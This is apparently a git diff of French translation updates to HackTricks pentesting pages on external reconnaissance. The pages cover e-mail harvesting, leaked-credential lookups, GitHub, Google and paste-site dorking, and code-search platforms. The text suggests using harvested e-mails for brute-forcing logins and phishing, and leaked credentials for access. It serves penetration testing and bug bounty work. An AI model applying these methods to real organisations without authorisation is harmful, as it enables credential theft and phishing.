||||||
Rappelez-vous que lors de la recherche d'actifs Cloud, vous devriez **chercher plus que de simples buckets dans AWS**.
|
N'oubliez pas que lors de la recherche d'actifs Cloud, vous devriez **chercher plus que des buckets dans AWS**.
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
Si vous trouvez des choses telles que des **buckets ouverts ou des fonctions cloud exposées**, vous devriez **y accéder** et essayer de voir ce qu'ils vous offrent et si vous pouvez en abuser.
|
Si vous trouvez des choses telles que des **buckets ou des fonctions cloud ouverts exposés**, vous devriez **y accéder** et essayer de voir ce qu'ils vous offrent et si vous pouvez les exploiter.
|
||||||
|
|
||||||
## Emails
|
## E-mails
|
||||||
|
|
||||||
Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous avez **besoin pour commencer à rechercher des emails**. Voici les **APIs** et **outils** qui ont le mieux fonctionné pour moi pour trouver des emails d'une entreprise :
|
Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous avez **besoin pour commencer à rechercher des e-mails**. Voici les **API** et **outils** qui ont le mieux fonctionné pour moi pour trouver des e-mails d'une entreprise :
|
||||||
|
|
||||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - avec APIs
|
* [**theHarvester**](https://github.com/laramies/theHarvester) - avec des APIs
|
||||||
* API de [**https://hunter.io/**](https://hunter.io/) (version gratuite)
|
* API de [**https://hunter.io/**](https://hunter.io/) (version gratuite)
|
||||||
* API de [**https://app.snov.io/**](https://app.snov.io/) (version gratuite)
|
* API de [**https://app.snov.io/**](https://app.snov.io/) (version gratuite)
|
||||||
* API de [**https://minelead.io/**](https://minelead.io/) (version gratuite)
|
* API de [**https://minelead.io/**](https://minelead.io/) (version gratuite)
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
Les emails seront utiles plus tard pour **forcer brutalement les connexions web et les services d'authentification** (tels que SSH). De plus, ils sont nécessaires pour les **phishings**. En outre, ces APIs vous donneront encore plus d'**informations sur la personne** derrière l'email, ce qui est utile pour la campagne de phishing.
|
Les e-mails seront utiles plus tard pour **brute-forcer les connexions web et les services d'authentification** (comme SSH). De plus, ils sont nécessaires pour les **phishings**. De plus, ces APIs vous donneront encore plus d'**informations sur la personne** derrière l'e-mail, ce qui est utile pour la campagne de phishing.
|
||||||
|
|
||||||
## Fuites de Credentials
|
## Fuites d'identifiants
|
||||||
|
|
||||||
Avec les **domaines**, **sous-domaines** et **emails**, vous pouvez commencer à rechercher des credentials qui ont fuité dans le passé et qui appartiennent à ces emails :
|
Avec les **domaines**, **sous-domaines** et **e-mails**, vous pouvez commencer à rechercher des identifiants qui ont été divulgués dans le passé appartenant à ces e-mails :
|
||||||
|
|
||||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
Si vous trouvez des **credentials fuités valides**, c'est une victoire très facile.
|
Si vous trouvez des identifiants **fuites valides**, c'est une victoire très facile.
|
||||||
|
|
||||||
## Fuites de Secrets
|
## Fuites de secrets
|
||||||
|
|
||||||
Les fuites de credentials sont liées à des hacks d'entreprises où des **informations sensibles ont fuité et ont été vendues**. Cependant, les entreprises peuvent être affectées par d'**autres fuites** dont les informations ne sont pas dans ces bases de données :
|
Les fuites d'identifiants sont liées aux piratages d'entreprises où des **informations sensibles ont été divulguées et vendues**. Cependant, les entreprises pourraient être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données :
|
||||||
|
|
||||||
### Fuites Github
|
### Fuites Github
|
||||||
|
|
||||||
Des credentials et des APIs peuvent fuiter dans les **répertoires publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise sur github.\
|
Des identifiants et des APIs peuvent être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\
|
||||||
Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **répertoires publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement.
|
Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement dessus.
|
||||||
|
|
||||||
**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tous les **textes** des **URLs fournies** car parfois les **pages web contiennent aussi des secrets**.
|
**Leakos** peut également être utilisé pour exécuter **gitleaks** sur tous les **textes** fournis par les **URLs passées** à celui-ci car parfois les **pages web contiennent également des secrets**.
|
||||||
|
|
||||||
#### Dorks Github
|
#### Dorks Github
|
||||||
|
|
||||||
Consultez également cette **page** pour des **dorks github** potentiels que vous pourriez également rechercher dans l'organisation que vous attaquez :
|
Consultez également cette **page** pour des **dorks github potentiels** que vous pourriez également rechercher dans l'organisation que vous attaquez :
|
||||||
|
|
||||||
{% content-ref url="github-leaked-secrets.md" %}
|
{% content-ref url="github-leaked-secrets.md" %}
|
||||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Fuites Pastes
|
### Fuites de Pastes
|
||||||
|
|
||||||
Parfois, des attaquants ou simplement des employés vont **publier du contenu d'entreprise sur un site de paste**. Cela peut ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\
|
Parfois, les attaquants ou simplement les employés **publieront du contenu d'entreprise sur un site de coller**. Cela peut ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\
|
||||||
Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de paste en même temps.
|
Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de coller en même temps.
|
||||||
|
|
||||||
### Dorks Google
|
### Dorks Google
|
||||||
|
|
||||||
Les vieux mais précieux dorks Google sont toujours utiles pour trouver des **informations exposées qui ne devraient pas l'être**. Le seul problème est que la [**base de données de piratage google**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Ainsi, vous pouvez choisir vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**.
|
Les anciens mais bons dorks Google sont toujours utiles pour trouver des **informations exposées qui ne devraient pas s'y trouver**. Le seul problème est que la [**base de données de piratage Google**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Ainsi, vous pouvez choisir vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**.
|
||||||
|
|
||||||
_Notez que les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne finiront jamais car Google vous bloquera très très rapidement._
|
_Notez que les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne se termineront jamais car Google vous bloquera très très rapidement._
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
Si vous trouvez des **credentials fuités valides** ou des jetons d'API, c'est une victoire très facile.
|
Si vous trouvez des **identifiants ou jetons API fuites valides**, c'est une victoire très facile.
|
||||||
|
|
||||||
## Vulnérabilités du Code Public
|
## Vulnérabilités de Code Public
|
||||||
|
|
||||||
Si vous avez découvert que l'entreprise a du **code open-source**, vous pouvez l'**analyser** et rechercher des **vulnérabilités**.
|
Si vous découvrez que l'entreprise a du **code open-source**, vous pouvez **l'analyser** et rechercher des **vulnérabilités**.
|
||||||
|
|
||||||
**Selon le langage**, il existe différents **outils** que vous pouvez utiliser :
|
**Selon le langage**, il existe différents **outils** que vous pouvez utiliser :
|
||||||
|
|
||||||
|
@ -599,31 +597,31 @@ Si vous avez découvert que l'entreprise a du **code open-source**, vous pouvez
|
||||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Il existe également des services gratuits qui vous permettent de **scanner les répertoires publics**, tels que :
|
Il existe également des services gratuits qui vous permettent de **scanner des dépôts publics**, tels que :
|
||||||
|
|
||||||
* [**Snyk**](https://app.snyk.io/)
|
* [**Snyk**](https://app.snyk.io/)
|
||||||
|
|
||||||
## [**Méthodologie de Pentesting Web**](../../network-services-pentesting/pentesting-web/)
|
## [**Méthodologie de Test Web Pentesting**](../../network-services-pentesting/pentesting-web/)
|
||||||
|
|
||||||
La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent à l'intérieur des **applications web**, donc à ce stade, je voudrais parler d'une **méthodologie de test d'application web**, et vous pouvez [**trouver ces informations ici**](../../network-services-pentesting/pentesting-web/).
|
La **majorité des vulnérabilités** trouvées par les chasseurs de bugs résident à l'intérieur des **applications web**, donc à ce stade, j'aimerais parler d'une **méthodologie de test d'application web**, que vous pouvez [**trouver ici**](../../network-services-pentesting/pentesting-web/).
|
||||||
|
|
||||||
Je veux aussi faire une mention spéciale à la section [**Outils open source de scanners automatisés Web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, si vous ne devriez pas vous attendre à ce qu'ils vous trouvent des vulnérabilités très sensibles, ils sont pratiques pour les implémenter dans des **workflows pour avoir des informations web initiales.**
|
Je tiens également à mentionner spécialement la section [**Outils open source de scanners Web automatisés**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, bien que vous ne devriez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les implémenter dans des **flux de travail pour obtenir des informations web initiales**.
|
||||||
|
|
||||||
## Récapitulation
|
## Récapitulatif
|
||||||
|
|
||||||
> Félicitations ! À ce stade, vous avez déjà effectué **toute l'énumération de base**. Oui, c'est basique car beaucoup plus d'énumération peut être faite (nous verrons plus d'astuces plus tard).
|
> Félicitations ! À ce stade, vous avez déjà effectué **toute l'énumération de base**. Oui, c'est basique car beaucoup plus d'énumération peut être effectuée (nous verrons plus de trucs plus tard).
|
||||||
|
|
||||||
Donc, vous avez déjà :
|
Donc, vous avez déjà :
|
||||||
|
|
||||||
1. Trouvé toutes les **entreprises** dans le périmètre
|
1. Trouvé toutes les **entreprises** dans le périmètre
|
||||||
2. Trouvé tous les **actifs** appartenant aux entreprises (et effectué un scan de vuln si dans le périmètre)
|
2. Trouvé tous les **actifs** appartenant aux entreprises (et effectué une analyse de vulnérabilité si dans le périmètre)
|
||||||
3. Trouvé tous les **domaines** appartenant aux entreprises
|
3. Trouvé tous les **domaines** appartenant aux entreprises
|
||||||
4. Trouvé tous les **sous-domaines** des domaines (une prise de sous-domaine ?)
|
4. Trouvé tous les **sous-domaines** des domaines (une prise de contrôle de sous-domaine ?)
|
||||||
5. Trouvé toutes les **IP** (de et **non de CDN**) dans le périmètre.
|
5. Trouvé toutes les **IP** (à partir et **non à partir de CDN**) dans le périmètre.
|
||||||
6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (quelque chose d'étrange qui mérite un examen plus approfondi ?)
|
6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (quelque chose d'étrange qui vaut la peine d'être examiné de plus près ?)
|
||||||
7. Trouvé tous les **actifs cloud publics potentiels** appartenant à l'entreprise.
|
7. Trouvé tous les **actifs cloud publics potentiels** appartenant à l'entreprise.
|
||||||
8. **Emails**, **fuites de credentials**, et **fuites de secrets** qui pourraient vous donner une **grande victoire très facilement**.
|
8. **E-mails**, **fuites d'identifiants** et **fuites de secrets** qui pourraient vous donner une **grosse victoire très facilement**.
|
||||||
9. **Pentesting de tous les webs que vous avez trouvés**
|
9. **Pentester tous les sites web que vous avez trouvés**
|
||||||
|
|
||||||
## **Outils Automatiques de Reconnaissance Complète**
|
## **Outils Automatiques de Reconnaissance Complète**
|
||||||
|
|
||||||
|
@ -632,14 +630,14 @@ Il existe plusieurs outils qui effectueront une partie des actions proposées co
|
||||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||||
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
|
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
|
||||||
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Un peu vieux et pas mis à jour
|
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Un peu ancien et non mis à jour
|
||||||
|
|
||||||
## **Références**
|
## **Références**
|
||||||
|
|
||||||
* **Tous les cours gratuits de** [**@Jhaddix**](https://twitter.com/Jhaddix) **(comme** [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)**)**
|
* **Tous les cours gratuits de** [**@Jhaddix**](https://twitter.com/Jhaddix) **(comme** [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)**)**
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Conseil pour la chasse aux bugs** : **inscrivez-vous** à **Intigriti**, une plateforme premium de **bug bounty créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
**Conseil de chasse aux bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -647,12 +645,12 @@ Il existe plusieurs outils qui effectueront une partie des actions proposées co
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
D'autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**dépôts Github de HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,30 +2,30 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Conseil pour les bug bounties** : **inscrivez-vous** sur **Intigriti**, une plateforme de bug bounty premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des bounties jusqu'à **100 000 $** !
|
**Conseil de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour les pirates informatiques**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
Maintenant que nous avons construit la liste des actifs de notre périmètre, il est temps de rechercher des fruits à portée de main en OSINT.
|
Maintenant que nous avons établi la liste des actifs de notre périmètre, il est temps de rechercher quelques fruits bas de gamme OSINT.
|
||||||
|
|
||||||
### Plateformes ayant déjà recherché des fuites
|
### Plateformes ayant déjà recherché des fuites
|
||||||
|
|
||||||
* [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/)
|
* [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/)
|
||||||
|
|
||||||
### Fuites de clés API dans github
|
### Fuites de clés API sur github
|
||||||
|
|
||||||
* [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog)
|
* [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog)
|
||||||
* [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks)
|
* [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks)
|
||||||
|
@ -323,14 +323,14 @@ AWS SECRET
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,38 +2,42 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres façons de soutenir HackTricks :
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Le but de cette page est d'énumérer les **plateformes qui permettent de rechercher du code** (littéral ou regex) dans des milliers/millions de dépôts sur une ou plusieurs plateformes.
|
Le but de cette page est d'énumérer les **plateformes permettant de rechercher du code** (littéral ou regex) dans des milliers/millions de dépôts sur une ou plusieurs plateformes.
|
||||||
|
|
||||||
Cela aide dans plusieurs occasions à **rechercher des informations divulguées** ou des **modèles de vulnérabilités**.
|
Cela aide dans plusieurs occasions à **rechercher des informations divulguées** ou des modèles de **vulnérabilités**.
|
||||||
|
|
||||||
* [**SourceGraph**](https://sourcegraph.com/search) : Recherche dans des millions de dépôts. Il existe une version gratuite et une version entreprise (avec 15 jours gratuits). Il prend en charge les regex.
|
* [**SourceGraph**](https://sourcegraph.com/search) : Recherche dans des millions de dépôts. Il existe une version gratuite et une version entreprise (avec 15 jours gratuits). Il prend en charge les regex.
|
||||||
* [**Github Search**](https://github.com/search) : Recherche sur Github. Il prend en charge les regex.
|
* [**Recherche Github**](https://github.com/search) : Recherche sur Github. Il prend en charge les regex.
|
||||||
* Il peut également être utile de vérifier également [**Github Code Search**](https://cs.github.com/).
|
* Il peut également être utile de consulter [**Recherche de code Github**](https://cs.github.com/).
|
||||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html) : Recherche dans les projets Gitlab. Supporte les regex.
|
* [**Recherche avancée Gitlab**](https://docs.gitlab.com/ee/user/search/advanced\_search.html) : Recherche dans les projets Gitlab. Prise en charge des regex.
|
||||||
* [**SearchCode**](https://searchcode.com/) : Recherche de code dans des millions de projets.
|
* [**SearchCode**](https://searchcode.com/) : Recherche de code dans des millions de projets.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Lorsque vous recherchez des fuites dans un dépôt et que vous exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il peut y avoir **d'autres branches avec d'autres commits** contenant des secrets !
|
Lorsque vous recherchez des fuites dans un dépôt et exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il pourrait y avoir **d'autres branches avec d'autres commits** contenant des secrets !
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
